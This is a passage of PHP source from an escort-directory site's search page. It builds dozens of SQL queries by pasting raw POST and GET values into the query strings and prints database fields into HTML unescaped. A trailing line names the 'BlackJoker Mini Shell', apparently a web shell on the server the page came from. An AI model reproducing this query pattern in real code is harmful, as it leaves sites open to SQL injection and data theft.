							   else if(($_POST['shaved']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' And shaved='".$_POST['shaved']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							   else if(($_POST['orientation']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND orientation='".$_POST['orientation']."'  AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['smoking']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['service_type']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['friendLy']) && ($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							   else if(($_POST['traVel']) &&($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  
							  else if(($_POST['traVel']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['friendLy']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND friendly='".$_POST['friendLy']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['service_type']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND service_type='".$_POST['service_type']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['smoking']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['orientation']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND orientation='".$_POST['orientation']."'  And bust='".$_POST['bust_size']."'";
							  }
							  else if(($_POST['shaved']) &&($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' And shaved='".$_POST['shaved']."' And bust='".$_POST['bust_size']."'";
							  }
							  
							   else if(($_POST['orientation']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND orientation='".$_POST['orientation']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['traVel']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['friendLy']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."'  And shaved='".$_POST['shaved']."'";
							  }
							  
							   else if(($_POST['smoking']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."'  And shaved='".$_POST['shaved']."'";
							  }
							   else if(($_POST['service_type']) &&($_POST['shaved']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND service_type='".$_POST['service_type']."'  And shaved='".$_POST['shaved']."'";
							  }
							  
							  
							  
							  
							  
							  
							  
							  
							  
							   else if(($_POST['traVel']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND orientation='".$_POST['orientation']."' ";
							  }
							   else if(($_POST['friendLy']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND orientation='".$_POST['orientation']."' ";
							  }
							  
							   else if(($_POST['service_type']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND  service_type='".$_POST['service_type']."' AND orientation='".$_POST['orientation']."' ";
							  }
							  else if(($_POST['smoking']) &&($_POST['orientation']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."' AND orientation='".$_POST['orientation']."' ";
							  }
							 
							  
							   else if(($_POST['traVel']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND smoking='".$_POST['smoking']."'";
							  }
							   else if(($_POST['service_type']) &&($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND  service_type='".$_POST['service_type']."' AND smoking='".$_POST['smoking']."'";
							  }
							   else if(($_POST['friendLy']) && ($_POST['smoking']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND  friendly='".$_POST['friendLy']."' AND smoking='".$_POST['smoking']."'";
							  }
							  
							  
							  
							   else if(($_POST['traVel']) && ($_POST['service_type']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND service_type='".$_POST['service_type']."'";
							  }
							  else if(($_POST['friendLy']) && ($_POST['service_type']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."' AND service_type='".$_POST['service_type']."'";
							  }
							 
							  else if(($_POST['traVel']) && ($_POST['friendLy']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."' AND friendly='".$_POST['friendLy']."'";
							  }
							   else if(($_POST['minheight']) &&($_POST['maxheight']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a'  AND (height BETWEEN '".$_POST['minheight']."' AND '".$_POST['maxheight']."')";
							  }
							  else if(($_POST['bust_size']))
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' And bust='".$_POST['bust_size']."'";
							  }
							   else if($_POST['shaved'])
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' And shaved='".$_POST['shaved']."'";
							  }
							   else if($_POST['orientation'])
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND orientation='".$_POST['orientation']."' ";
							  }
							    else if($_POST['smoking'])
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND smoking='".$_POST['smoking']."'";
							  }
							   else if($_POST['service_type'])
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' And service_type='".$_POST['service_type']."'";
							  }
							  else if($_POST['traVel'])
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND travel='".$_POST['traVel']."'";
							  }
							  else if($_POST['friendLy'])
							  {
								 $sql="SELECT * FROM escort_details WHERE status='a' AND friendly='".$_POST['friendLy']."'";
							  }
							  
							
							
							 $res=execute_query($sql);
							 
							 $num=mysql_num_rows($res);
							 
							 
							 
							 $sql_catname="SELECT * FROM ad_catagory WHERE id='". $row['category']."'";
							 $res_catname=execute_query($sql_catname);
							 $row_catname=mysql_fetch_array($res_catname);
							 
							
										  $sql_city="SELECT * FROM citys WHERE id='".$_GET['city_id']."'";
										  $res_city=execute_query($sql_city);
										  $row_city=mysql_fetch_array($res_city);
										
							 
							
							 ?>
             	<div class="acccmid1_header">Escorts</div>
            		<div class="accountrightct_mid">
                		 <div class="small_space"></div>
                         <div class="profile_data222">
                       <?  if($num>0)
					   {
                          	 while($row=mysql_fetch_array($res))
							
							{ 
							 $sql_userinfo="SELECT * FROM user_info WHERE userid='".$row['user_id']."'";
							 $res_userinfo=execute_query($sql_userinfo);
							 $row_userinfo=mysql_fetch_array($res_userinfo);						 
								
							
							?>
                            <div class="justescort22">
                                        <div class="esct_pic">
                                            <a href="escort-service-dtls.php?estid=<?=$row['id']?>"><img src="profile_pic/<?=$row_userinfo['pic']?>" style="margin:0 auto; width:114px; height:150px; border:1px solid #364d33;" /></a>
                                        </div>
                                        <div class="esct_name">
                                        <div style="height:4px;"></div>
                                        	<table border="0" cellpadding="0" cellspacing="0" style="width:114px;">
                                            	<tr>
                                                	<td class="escort_name"><?=$row_userinfo['username']?></td>
                                                </tr>
                                                <tr>
                                                 <? $sql_escortcity="SELECT * FROM citys WHERE id='".$row['escort_city']."'";
												   $res_escortcity=execute_query($sql_escortcity);
												   $row_escortcity=mysql_fetch_array($res_escortcity);
												 ?>
                                                	<td style=" font-family:'Open Sans',sans-serif; margin:0 auto; color:#5c665c; text-align:center;">
                                                    	in <?=$row_escortcity['name']?>
                                                    </td>
                                                
                                                </tr>
                                                <tr height="3"></tr>
                                            </table>
                                            
                                            
                                            
                                            
                                          </div>
                                    
                                </div>
                            <?
								if($ii%5==0)
								{
									?>
									<br class="spacer" />
									<div style="height:10px;">&nbsp;<br class="spacer" /></div>
									
									<?
								}
								$ii++;
								}
					   } else 
					   { ?>
						   <p style=" font-family:'Open Sans',sans-serif; margin:0 auto; color:#364d33; text-align:center;">No Escort Are Found In <?=$row_city['name']?></p>
					  <? }
								
								
							   ?>
                            
                                <?php /*?><div class="justescort22">
                                        <div class="esct_pic">
                                            <img src="images/justescort_pic.png" style="margin:0 auto; border:1px solid #ffebf2;" />
                                        </div>
                                        <div class="esct_name"></div>
                                    
                                </div>
                                <div class="justescort22">
                                        <div class="esct_pic">
                                            <img src="images/justescort_pic.png" style="margin:0 auto; border:1px solid #ffebf2;" />
                                        </div>
                                        <div class="esct_name"></div>
                                    
                                </div>
                                <div class="justescort22">
                                        <div class="esct_pic">
                                            <img src="images/justescort_pic.png" style="margin:0 auto; border:1px solid #ffebf2;" />
                                        </div>
                                        <div class="esct_name"></div>
                                    
                                </div> 
                                <div class="justescort22">
                                        <div class="esct_pic">
                                            <img src="images/justescort_pic.png" style="margin:0 auto; border:1px solid #ffebf2;" />
                                        </div>
                                        <div class="esct_name"></div>
                                    
                                </div>   <?php */?>
                                              	
                           
                            <br class="spacer" />
                         
                         </div> 
                          
                     	<br class="spacer" />
                                  
                	</div>
              </div>
            	
            <br class="spacer" />
            
        </div>
     <br/>
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0